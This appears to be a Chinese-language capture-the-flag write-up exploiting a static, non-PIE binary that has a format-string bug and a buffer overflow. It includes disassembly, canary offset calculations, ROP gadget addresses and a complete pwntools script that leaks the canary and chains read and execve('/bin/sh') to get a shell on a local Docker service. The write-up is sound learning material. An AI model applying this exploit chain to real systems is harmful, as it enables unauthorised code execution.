看原始碼C,似乎有FSV跟BOF可以用
FSV :` printf(secret);`
BOF :
```
char s[16];
...
read(0, s, 2025);
```
```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
char secret[8];
char s[16];
printf("Tell me your secret:");
gets(secret);
printf("Your secret:");
printf(secret);
printf("\n");
printf("One chance to get my secret:");
read(0, s, 2025);
puts(s);
return 0;
}
```
**GDB分析**
file ./forferplus
檔案靜態連結
checksec ./forferplus
GOT可寫,跟沒有PIE

* 靜態連結與無 PIE。所有函式和程式碼片段 (Gadgets) 的地址都是固定不變的,我們不需要洩漏 libc 基址
* Canary保護在進行緩衝區溢位前,必須先想辦法洩漏出 Canary 的值
* NX保護不能直接在堆疊上寫入並執行 shellcode,必須使用 ROP (返回導向程式設計)
接下來到leak出位置,但根據我之前leak地址的經驗
%p會像這樣露出很多地址,然後我會找得很累,數得很久還會算錯,所以這次就用一個找offset的腳本去跑

容易閱讀多了
洩漏地址是為了找出CANARY在哪裡,CANARY特色是結尾是兩個00,也就是第十一位,這就是canary的offset位置

這裡通常會直接cyclic 然後輸入過長的字串去觸發BOF,但目前有CANARY保護,所以行不通。
接下來是要算一下該怎麼填垃圾直到碰到CANARY,因為需要去控制CANARY的數值,不能夠亂填,保護機制會去檢查CANARY是否正確!
Canary 存放在了 [rbp-0x8]
s 在[rbp-0x20] lea rax,[rbp-0x20],0x20 等於 32
以rbp當基準0,cananry 在-8,s 在-32
s 的開頭到 Canary 之間的距離為(-8) - (-32) = -8 + 32 = 24
從 s 的開頭,我們需要填充 24 個位元組的垃圾數據,才能剛好到達 Canary 的位置
```
Dump of assembler code for function main:
0x0000000000401825 <+0>: endbr64
0x0000000000401829 <+4>: push rbp
0x000000000040182a <+5>: mov rbp,rsp
0x000000000040182d <+8>: sub rsp,0x30
0x0000000000401831 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000040183a <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000040183e <+25>: xor eax,eax
0x0000000000401840 <+27>: mov rax,QWORD PTR [rip+0xc3eb1] # 0x4c56f8 <stdin>
0x0000000000401847 <+34>: mov ecx,0x0
0x000000000040184c <+39>: mov edx,0x2
0x0000000000401851 <+44>: mov esi,0x0
0x0000000000401856 <+49>: mov rdi,rax
0x0000000000401859 <+52>: call 0x412680 <setvbuf>
0x000000000040185e <+57>: mov rax,QWORD PTR [rip+0xc3e8b] # 0x4c56f0 <stdout>
0x0000000000401865 <+64>: mov ecx,0x0
0x000000000040186a <+69>: mov edx,0x2
0x000000000040186f <+74>: mov esi,0x0
0x0000000000401874 <+79>: mov rdi,rax
0x0000000000401877 <+82>: call 0x412680 <setvbuf>
0x000000000040187c <+87>: lea rax,[rip+0x96781] # 0x498004
0x0000000000401883 <+94>: mov rdi,rax
0x0000000000401886 <+97>: mov eax,0x0
0x000000000040188b <+102>: call 0x40b790 <printf>
0x0000000000401890 <+107>: lea rax,[rbp-0x28]
0x0000000000401894 <+111>: mov rdi,rax
0x0000000000401897 <+114>: mov eax,0x0
0x000000000040189c <+119>: call 0x412220 <gets>
0x00000000004018a1 <+124>: lea rax,[rip+0x96771] # 0x498019
0x00000000004018a8 <+131>: mov rdi,rax
0x00000000004018ab <+134>: mov eax,0x0
0x00000000004018b0 <+139>: call 0x40b790 <printf>
0x00000000004018b5 <+144>: lea rax,[rbp-0x28]
0x00000000004018b9 <+148>: mov rdi,rax
0x00000000004018bc <+151>: mov eax,0x0
0x00000000004018c1 <+156>: call 0x40b790 <printf>
0x00000000004018c6 <+161>: mov edi,0xa
0x00000000004018cb <+166>: call 0x412870 <putchar>
0x00000000004018d0 <+171>: lea rax,[rip+0x9674f] # 0x498026
0x00000000004018d7 <+178>: mov rdi,rax
0x00000000004018da <+181>: mov eax,0x0
0x00000000004018df <+186>: call 0x40b790 <printf>
0x00000000004018e4 <+191>: lea rax,[rbp-0x20]
0x00000000004018e8 <+195>: mov edx,0x7e9
0x00000000004018ed <+200>: mov rsi,rax
0x00000000004018f0 <+203>: mov edi,0x0
0x00000000004018f5 <+208>: call 0x44f820 <read>
0x00000000004018fa <+213>: lea rax,[rbp-0x20]
0x00000000004018fe <+217>: mov rdi,rax
0x0000000000401901 <+220>: call 0x4124e0 <puts>
0x0000000000401906 <+225>: mov eax,0x0
0x000000000040190b <+230>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040190f <+234>: sub rdx,QWORD PTR fs:0x28
0x0000000000401918 <+243>: je 0x40191f <main+250>
0x000000000040191a <+245>: call 0x4525c0 <__stack_chk_fail_local>
0x000000000040191f <+250>: leave
0x0000000000401920 <+251>: ret
```
接下來就是ROP的部分
希望是可以execve("/bin/sh",NULL,NULL)
* 呼叫 read 函式,將 "/bin/sh" 字串寫入至地址固定的 .bss 段
* 設定 rax、rdi、rsi、rdx 四個暫存器,以滿足 execve 系統調用的要求(rax=59, rdi 指向剛寫入的 "/bin/sh"),最後跳轉至 syscall 指令,成功取得 Shell
bss寫入到0x4c8000

read位置是0x44f820
用ROPgadget找一下所需要Gadget,底下這是腳本的紀錄訊息
```
POP_RDI = p64(0x401fcf) # pop rdi; ret
POP_RSI = p64(0x40a03e) # pop rsi; ret
POP_RDX_RBX = p64(0x485feb) # pop rdx; pop rbx; ret
POP_RAX = p64(0x450287) # pop rax; ret
SYSCALL = p64(0x401d84) # syscall
```
目前東西都湊齊了
應該怎麼堆ROP CHAIN,用EXCEL表示

一開始先放垃圾資料填到CANARY後,填滿SAVED RBP
然後開始放read所需參數,直到紅色的POP_RDI_RET開始放入execve參數
可以觀察一下腳本有沒有跑對,跟預想的是否相同


```
from pwn import *
context.arch = 'amd64'
CANARY_LEAK_OFFSET = 11
PADDING_OFFSET = 24
POP_RDI_RET = 0x401fcf
POP_RSI_RET = 0x40a03e
POP_RDX_RBX_RET = 0x485feb
POP_RAX_RET = 0x450287
SYSCALL = 0x401d84
READ_ADDR = 0x44f820
BSS_ADDR = 0x4c8000
p = remote('localhost', 40001) # Docker
# p = process('./forferplus') # 執行本地檔案
p.recvuntil(b'Tell me your secret:')
p.sendline(f'%{CANARY_LEAK_OFFSET}$p'.encode())
p.recvuntil(b'Your secret:')
canary_line = p.recvline().strip().decode()
canary = int(canary_line.split(' ')[0], 16)
log.success(f"Canary: {hex(canary)}")
#ROP CHAIN
rop = b""
rop += p64(POP_RDI_RET) + p64(0)
rop += p64(POP_RSI_RET) + p64(BSS_ADDR)
rop += p64(POP_RDX_RBX_RET) + p64(8) + p64(0)
rop += p64(READ_ADDR)
rop += p64(POP_RDI_RET) + p64(BSS_ADDR)
rop += p64(POP_RSI_RET) + p64(0)
rop += p64(POP_RDX_RBX_RET) + p64(0) + p64(0)
rop += p64(POP_RAX_RET) + p64(59)
rop += p64(SYSCALL)
payload = b'A' * PADDING_OFFSET + p64(canary) + b'B' * 8 + rop
p.recvuntil(b'One chance to get my secret:')
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
```